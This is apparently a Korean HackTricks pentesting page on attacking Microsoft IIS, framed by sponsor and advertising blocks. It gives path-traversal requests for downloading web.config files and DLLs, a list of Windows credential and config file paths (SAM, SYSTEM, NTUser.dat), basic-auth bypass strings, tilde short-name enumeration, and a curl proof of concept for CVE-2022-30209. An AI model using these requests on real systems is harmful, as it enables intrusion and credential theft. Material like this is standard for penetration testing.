# IIS - 인터넷 정보 서비스
제로부터 영웅이 될 때까지 AWS 해킹을 배우세요htARTE (HackTricks AWS Red Team Expert)!
HackTricks를 지원하는 다른 방법:
* **회사가 HackTricks에 광고되길 원하거나** **PDF 형식의 HackTricks를 다운로드**하려면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
* [**공식 PEASS & HackTricks 굿즈**](https://peass.creator-spring.com)를 구매하세요
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
* **💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f)에 가입하거나 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나** 트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
* **해킹 트릭을 공유하려면 PR을** [**HackTricks**](https://github.com/carlospolop/hacktricks) **및** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **깃허브 저장소에 제출하세요.**
### [WhiteIntel](https://whiteintel.io)
[**WhiteIntel**](https://whiteintel.io)은 **다크 웹**을 활용한 검색 엔진으로, **무료** 기능을 제공하여 회사나 그 고객이 **스틸러 악성 코드**에 의해 **침해**당했는지 확인할 수 있습니다.
WhiteIntel의 주요 목표는 정보 도난 악성 코드로 인한 계정 탈취 및 랜섬웨어 공격을 막는 것입니다.
그들의 웹사이트를 방문하여 **무료**로 엔진을 시험해 볼 수 있습니다:
{% embed url="https://whiteintel.io" %}
***
테스트 가능한 실행 파일 확장자:
* asp
* aspx
* config
* php
## 내부 IP 주소 노출
302를 받는 모든 IIS 서버에서 Host 헤더를 제거하고 HTTP/1.0을 사용해보면 응답 내부의 Location 헤더가 내부 IP 주소를 가리킬 수 있습니다:
```
nc -v domain.com 80
openssl s_client -connect domain.com:443
```
내부 IP를 노출하는 응답:
```
GET / HTTP/1.0
HTTP/1.1 302 Moved Temporarily
Cache-Control: no-cache
Pragma: no-cache
Location: https://192.168.5.237/owa/
Server: Microsoft-IIS/10.0
X-FEServer: NHEXCHANGE2016
```
## .config 파일 실행
.config 파일을 업로드하고 코드를 실행하는 방법 중 하나는 파일 끝에 HTML 주석 안에 코드를 추가하는 것입니다: [여기에서 예제 다운로드](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Upload%20Insecure%20Files/Configuration%20IIS%20web.config/web.config)
이 취약점을 악용하는 더 많은 정보 및 기술은 [여기](https://soroush.secproject.com/blog/2014/07/upload-a-web-config-file-for-fun-profit/)에서 확인할 수 있습니다.
## IIS 탐지 브루트포스
다음으로 제작한 목록을 다운로드하세요:
{% file src="../../.gitbook/assets/iisfinal.txt" %}
이 목록은 다음 몁단의 내용을 병합하여 생성되었습니다:
[https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/IIS.fuzz.txt](https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/IIS.fuzz.txt)\
[http://itdrafts.blogspot.com/2013/02/aspnetclient-folder-enumeration-and.html](http://itdrafts.blogspot.com/2013/02/aspnetclient-folder-enumeration-and.html)\
[https://github.com/digination/dirbuster-ng/blob/master/wordlists/vulns/iis.txt](https://github.com/digination/dirbuster-ng/blob/master/wordlists/vulns/iis.txt)\
[https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/aspx.txt](https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/aspx.txt)\
[https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/asp.txt](https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/asp.txt)\
[https://raw.githubusercontent.com/xmendez/wfuzz/master/wordlist/vulns/iis.txt](https://raw.githubusercontent.com/xmendez/wfuzz/master/wordlist/vulns/iis.txt)
확장자를 추가하지 않고 사용하십시오. 필요한 파일에는 이미 확장자가 포함되어 있습니다.
## 경로 이탈
### 소스 코드 노출
전체 설명은 여기에서 확인하십시오: [https://blog.mindedsecurity.com/2018/10/from-path-traversal-to-source-code-in.html](https://blog.mindedsecurity.com/2018/10/from-path-traversal-to-source-code-in.html)
{% hint style="info" %}
요약하면, 응용 프로그램 폴더 내에 "**assemblyIdentity**" 파일과 "**namespaces**"에 대한 참조가 포함된 여러 web.config 파일이 있습니다. 이 정보를 통해 **실행 파일이 어디에 있는지** 알 수 있고 다운로드할 수 있습니다.\
다운로드한 Dll에서는 **새로운 namespaces**를 찾을 수 있으며, 액세스하고 새로운 namespaces와 assemblyIdentity를 찾기 위해 web.config 파일에 액세스해야 합니다.\
또한, 파일 **connectionstrings.config** 및 **global.asax**에는 흥미로운 정보가 포함될 수 있습니다.\\
{% endhint %}
**.Net MVC 응용 프로그램**에서 **web.config** 파일은 **"assemblyIdentity"** XML 태그를 통해 응용 프로그램이 의존하는 각 이진 파일을 지정하여 중요한 역할을 합니다.
### **이진 파일 탐색**
아래는 **web.config** 파일에 액세스하는 예시입니다:
```markup
GET /download_page?id=..%2f..%2fweb.config HTTP/1.1
Host: example-mvc-application.minded
```
이 요청은 다양한 설정 및 종속성을 나타냅니다.
* **EntityFramework** 버전
* 웹페이지, 클라이언트 유효성 검사 및 JavaScript를 위한 **AppSettings**
* 인증 및 런타임을 위한 **System.web** 구성
* **System.webServer** 모듈 설정
* **Microsoft.Owin**, **Newtonsoft.Json**, **System.Web.Mvc**와 같은 다양한 라이브러리를 위한 **Runtime** 어셈블리 바인딩
이러한 설정은 **/bin/WebGrease.dll**과 같은 특정 파일이 응용 프로그램의 /bin 폴더에 위치해 있음을 나타냅니다.
### **루트 디렉토리 파일**
루트 디렉토리에 있는 파일들인 **/global.asax** 및 **/connectionstrings.config** (민감한 암호를 포함하는 파일)은 응용 프로그램의 구성 및 작동에 필수적입니다.
### **네임스페이스 및 Web.Config**
MVC 응용 프로그램은 각 파일에서 반복적인 선언을 피하기 위해 특정 네임스페이스를 위한 추가 **web.config 파일**을 정의합니다. 다른 **web.config**를 다운로드하는 요청을 통해 이를 확인할 수 있습니다.
```markup
GET /download_page?id=..%2f..%2fViews/web.config HTTP/1.1
Host: example-mvc-application.minded
```
### **DLL 다운로드**
사용자 지정 네임스페이스 언급은 /bin 디렉토리에 있는 "**WebApplication1**"이라는 DLL을 나타냅니다. 이에 이어 **WebApplication1.dll**을 다운로드하는 요청이 표시됩니다:
```markup
GET /download_page?id=..%2f..%2fbin/WebApplication1.dll HTTP/1.1
Host: example-mvc-application.minded
```
이는 **System.Web.Mvc.dll** 및 **System.Web.Optimization.dll**과 같은 다른 필수 DLL이 /bin 디렉토리에 존재할 가능성을 시사합니다.
DLL이 **WebApplication1.Areas.Minded**라는 네임스페이스를 가져오는 시나리오에서, 공격자는 **/area-name/Views/**와 같은 예측 가능한 경로에 다른 web.config 파일의 존재를 추론할 수 있으며, 해당 파일은 /bin 폴더에 있는 다른 DLL에 대한 특정 구성 및 참조를 포함할 수 있습니다. 예를 들어, **/Minded/Views/web.config**로의 요청은 다른 DLL인 **WebApplication1.AdditionalFeatures.dll**의 존재를 나타내는 구성 및 네임스페이스를 공개할 수 있습니다.
### 공통 파일
[여기](https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/)에서
```
C:\Apache\conf\httpd.conf
C:\Apache\logs\access.log
C:\Apache\logs\error.log
C:\Apache2\conf\httpd.conf
C:\Apache2\logs\access.log
C:\Apache2\logs\error.log
C:\Apache22\conf\httpd.conf
C:\Apache22\logs\access.log
C:\Apache22\logs\error.log
C:\Apache24\conf\httpd.conf
C:\Apache24\logs\access.log
C:\Apache24\logs\error.log
C:\Documents and Settings\Administrator\NTUser.dat
C:\php\php.ini
C:\php4\php.ini
C:\php5\php.ini
C:\php7\php.ini
C:\Program Files (x86)\Apache Group\Apache\conf\httpd.conf
C:\Program Files (x86)\Apache Group\Apache\logs\access.log
C:\Program Files (x86)\Apache Group\Apache\logs\error.log
C:\Program Files (x86)\Apache Group\Apache2\conf\httpd.conf
C:\Program Files (x86)\Apache Group\Apache2\logs\access.log
C:\Program Files (x86)\Apache Group\Apache2\logs\error.log
c:\Program Files (x86)\php\php.ini"
C:\Program Files\Apache Group\Apache\conf\httpd.conf
C:\Program Files\Apache Group\Apache\conf\logs\access.log
C:\Program Files\Apache Group\Apache\conf\logs\error.log
C:\Program Files\Apache Group\Apache2\conf\httpd.conf
C:\Program Files\Apache Group\Apache2\conf\logs\access.log
C:\Program Files\Apache Group\Apache2\conf\logs\error.log
C:\Program Files\FileZilla Server\FileZilla Server.xml
C:\Program Files\MySQL\my.cnf
C:\Program Files\MySQL\my.ini
C:\Program Files\MySQL\MySQL Server 5.0\my.cnf
C:\Program Files\MySQL\MySQL Server 5.0\my.ini
C:\Program Files\MySQL\MySQL Server 5.1\my.cnf
C:\Program Files\MySQL\MySQL Server 5.1\my.ini
C:\Program Files\MySQL\MySQL Server 5.5\my.cnf
C:\Program Files\MySQL\MySQL Server 5.5\my.ini
C:\Program Files\MySQL\MySQL Server 5.6\my.cnf
C:\Program Files\MySQL\MySQL Server 5.6\my.ini
C:\Program Files\MySQL\MySQL Server 5.7\my.cnf
C:\Program Files\MySQL\MySQL Server 5.7\my.ini
C:\Program Files\php\php.ini
C:\Users\Administrator\NTUser.dat
C:\Windows\debug\NetSetup.LOG
C:\Windows\Panther\Unattend\Unattended.xml
C:\Windows\Panther\Unattended.xml
C:\Windows\php.ini
C:\Windows\repair\SAM
C:\Windows\repair\system
C:\Windows\System32\config\AppEvent.evt
C:\Windows\System32\config\RegBack\SAM
C:\Windows\System32\config\RegBack\system
C:\Windows\System32\config\SAM
C:\Windows\System32\config\SecEvent.evt
C:\Windows\System32\config\SysEvent.evt
C:\Windows\System32\config\SYSTEM
C:\Windows\System32\drivers\etc\hosts
C:\Windows\System32\winevt\Logs\Application.evtx
C:\Windows\System32\winevt\Logs\Security.evtx
C:\Windows\System32\winevt\Logs\System.evtx
C:\Windows\win.ini
C:\xampp\apache\conf\extra\httpd-xampp.conf
C:\xampp\apache\conf\httpd.conf
C:\xampp\apache\logs\access.log
C:\xampp\apache\logs\error.log
C:\xampp\FileZillaFTP\FileZilla Server.xml
C:\xampp\MercuryMail\MERCURY.INI
C:\xampp\mysql\bin\my.ini
C:\xampp\php\php.ini
C:\xampp\security\webdav.htpasswd
C:\xampp\sendmail\sendmail.ini
C:\xampp\tomcat\conf\server.xml
```
## HTTPAPI 2.0 404 에러
만약 다음과 같은 에러를 보게 된다면:
![](<../../.gitbook/assets/image (446) (1) (2) (2) (3) (3) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (10) (10) (2).png>)
이는 서버가 **올바른 도메인 이름을 Host 헤더 내에서 받지 못했음**을 의미합니다.\
웹 페이지에 접근하기 위해 제공된 **SSL 인증서**를 확인하고 거기서 도메인/서브도메인 이름을 찾을 수도 있습니다. 그곳에 없다면 **올바른 것을 찾을 때까지 VHosts를 무차별 대입(brute force)** 해야 할 수도 있습니다.
## 찾아볼 가치가 있는 오래된 IIS 취약점
### Microsoft IIS 물결 문자 "\~" 취약점/기능 - 짧은 파일/폴더 이름 노출
이 **기법**을 사용하여 발견된 각 폴더 내의 폴더와 파일을 **열거**해 볼 수 있습니다(기본 인증이 필요한 경우에도).\
이 기법의 주요 제한 사항은 서버가 취약하다면 **각 파일/폴더 이름의 처음 6자 및 파일의 확장자의 처음 3자까지만 찾을 수 있다**는 것입니다.
이 취약점을 테스트하기 위해 [https://github.com/irsdl/IIS-ShortName-Scanner](https://github.com/irsdl/IIS-ShortName-Scanner)를 사용할 수 있습니다:`java -jar iis_shortname_scanner.jar 2 20 http://10.13.38.11/dev/dca66d38fd916317687e1390a420c3fc/db/`
![](<../../.gitbook/assets/image (844).png>)
원본 연구: [https://soroush.secproject.com/downloadable/microsoft\_iis\_tilde\_character\_vulnerability\_feature.pdf](https://soroush.secproject.com/downloadable/microsoft\_iis\_tilde\_character\_vulnerability\_feature.pdf)
또한 **metasploit**을 사용할 수 있습니다: `use scanner/http/iis_shortname_scanner`
### 기본 인증 우회
**기본 인증**(IIS 7.5)을 우회하려면 다음을 시도해 보세요: `/admin:$i30:$INDEX_ALLOCATION/admin.php` 또는 `/admin::$INDEX_ALLOCATION/admin.php`
이 취약점과 마지막 취약점을 **혼합**하여 새로운 **폴더**를 찾고 인증을 **우회**할 수 있습니다.
## ASP.NET Trace.AXD 디버깅 활성화
ASP.NET에는 디버깅 모드가 포함되어 있으며 해당 파일은 `trace.axd`입니다.
일정 기간 동안 응용 프로그램에 대해 수행된 모든 요청의 매우 상세한 로그를 유지합니다.
이 정보에는 원격 클라이언트 IP, 세션 ID, 모든 요청 및 응답 쿠키, 물리적 경로, 소스 코드 정보 및 아마도 사용자 이름과 비밀번호도 포함될 수 있습니다.
[https://www.rapid7.com/db/vulnerabilities/spider-asp-dot-net-trace-axd/](https://www.rapid7.com/db/vulnerabilities/spider-asp-dot-net-trace-axd/)
![Screenshot 2021-03-30 at 13 19 11](https://user-images.githubusercontent.com/31736688/112974448-2690b000-915b-11eb-896c-f41c27c44286.png)
## ASPXAUTH 쿠키
ASPXAUTH는 다음 정보를 사용합니다:
* **`validationKey`** (문자열): 서명 유효성 검사에 사용할 16진수로 인코딩된 키.
* **`decryptionMethod`** (문자열): (기본값 "AES").
* **`decryptionIV`** (문자열): 16진수로 인코딩된 초기화 벡터(기본값은 0 벡터).
* **`decryptionKey`** (문자열): 복호화에 사용할 16진수로 인코딩된 키.
그러나 일부 사람들은 이러한 매개변수의 **기본값**을 사용하고 **사용자의 이메일을 쿠키로 사용**할 수 있습니다. 따라서, ASPXAUTH 쿠키를 사용하고 있는 동일한 플랫폼을 사용하는 웹을 찾아 **공격 대상 서버에서 사용자의 이메일로 사용자를 생성**하면, 두 번째 서버의 쿠키를 첫 번째 서버에서 사용하여 사용자를 표현할 수 있을 수 있습니다.\
이 공격은 이 [**기고문**](https://infosecwriteups.com/how-i-hacked-facebook-part-two-ffab96d57b19)에서 작동했습니다.
## 캐시된 암호를 사용한 IIS 인증 우회(CVE-2022-30209)
[전체 보고서 여기에서](https://blog.orange.tw/2022/08/lets-dance-in-the-cache-destabilizing-hash-table-on-microsoft-iis.html): 코드에서 **사용자가 제공한 암호를 제대로 확인하지 않았기 때문에**, 이미 **캐시에 있는 키에 해당하는 암호 해시가 일치하는 공격자**는 해당 사용자로서 로그인할 수 있게 될 것입니다.
```python
# script for sanity check
> type test.py
def HashString(password):
j = 0
for c in map(ord, password):
j = c + (101*j)&0xffffffff
return j
assert HashString('test-for-CVE-2022-30209-auth-bypass') == HashString('ZeeiJT')
# before the successful login
> curl -I -su 'orange:ZeeiJT' 'http:///protected/' | findstr HTTP
HTTP/1.1 401 Unauthorized
# after the successful login
> curl -I -su 'orange:ZeeiJT' 'http:///protected/' | findstr HTTP
HTTP/1.1 200 OK
```
### [WhiteIntel](https://whiteintel.io)
[**WhiteIntel**](https://whiteintel.io)은 **다크 웹**을 활용한 검색 엔진으로, 회사나 그 고객이 **스틸러 악성 소프트웨어**에 의해 **침해**되었는지 확인하는 **무료** 기능을 제공합니다.
WhiteIntel의 주요 목표는 정보를 도난하는 악성 소프트웨어로 인한 계정 탈취와 랜섬웨어 공격을 막는 것입니다.
그들의 웹사이트를 방문하여 **무료**로 엔진을 시도해 볼 수 있습니다:
{% embed url="https://whiteintel.io" %}
제로부터 영웅이 될 때까지 AWS 해킹을 배우세요htARTE (HackTricks AWS Red Team Expert)!
HackTricks를 지원하는 다른 방법:
* **HackTricks에 귀하의 회사를 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구입하세요
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 저희의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
* **💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f)에 가입하거나 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
* **HackTricks 및 HackTricks Cloud** github 저장소에 PR을 제출하여 귀하의 해킹 기술을 공유하세요.